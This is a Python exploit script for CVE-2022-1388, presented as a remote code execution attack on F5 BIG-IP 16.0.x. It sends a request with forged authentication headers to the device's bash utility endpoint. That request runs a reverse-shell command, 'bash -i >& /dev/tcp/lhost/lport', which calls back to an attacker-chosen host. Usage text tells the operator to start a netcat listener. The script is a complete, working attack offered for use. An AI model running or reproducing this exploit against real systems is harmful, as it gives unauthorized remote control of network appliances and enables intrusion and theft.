# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x 
# CVE : CVE-2022-1388

from requests import Request, Session
import sys
import json



def title():
    print('''
    
   _______      ________    ___   ___ ___  ___       __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \|__ \     /_ |___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < 
 | |____   \  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |
  \_____|   \/   |______|  |____|\___/____|____|     |_|____/ \___/ \___/ 
                                                                          
                                                                                                                      
                                                                              
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
    ''')   

def exploit(url, lhost, lport):
  url = url + 'mgmt/tm/util/bash'
  data = {
    "command":"run",
    "utilCmdArgs":"-c 'bash -i >& /dev/tcp/"+lhost+"/"+lport+" 0>&1'"
    
  }
  headers = {
    'Authorization': 'Basic YWRtaW46',    
    'Connection':'keep-alive, X-F5-Auth-Token',
    'X-F5-Auth-Token': '0'

  }
  s = Session()
  req = Request('POST', url, json=data, headers=headers)
  prepped = req.prepare()
  del prepped.headers['Content-Type']
  resp = s.send(prepped,
      verify=False,
      timeout=15
  )
  #print(prepped.headers)
  #print(url)
  #print(resp.headers)
  #print(resp.json())
  print(resp.status_code)


if __name__ == '__main__':
    title()
    if(len(sys.argv) < 4):
      print('[+] USAGE: python3 %s https://<target_url> lhost lport\n'%(sys.argv[0]))
      print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\n'%(sys.argv[0]))
      print('[+] Do not forget to run the listener: nc -lvp 4444\n')
      exit(0)
    else:
      exploit(sys.argv[1],sys.argv[2],sys.argv[3])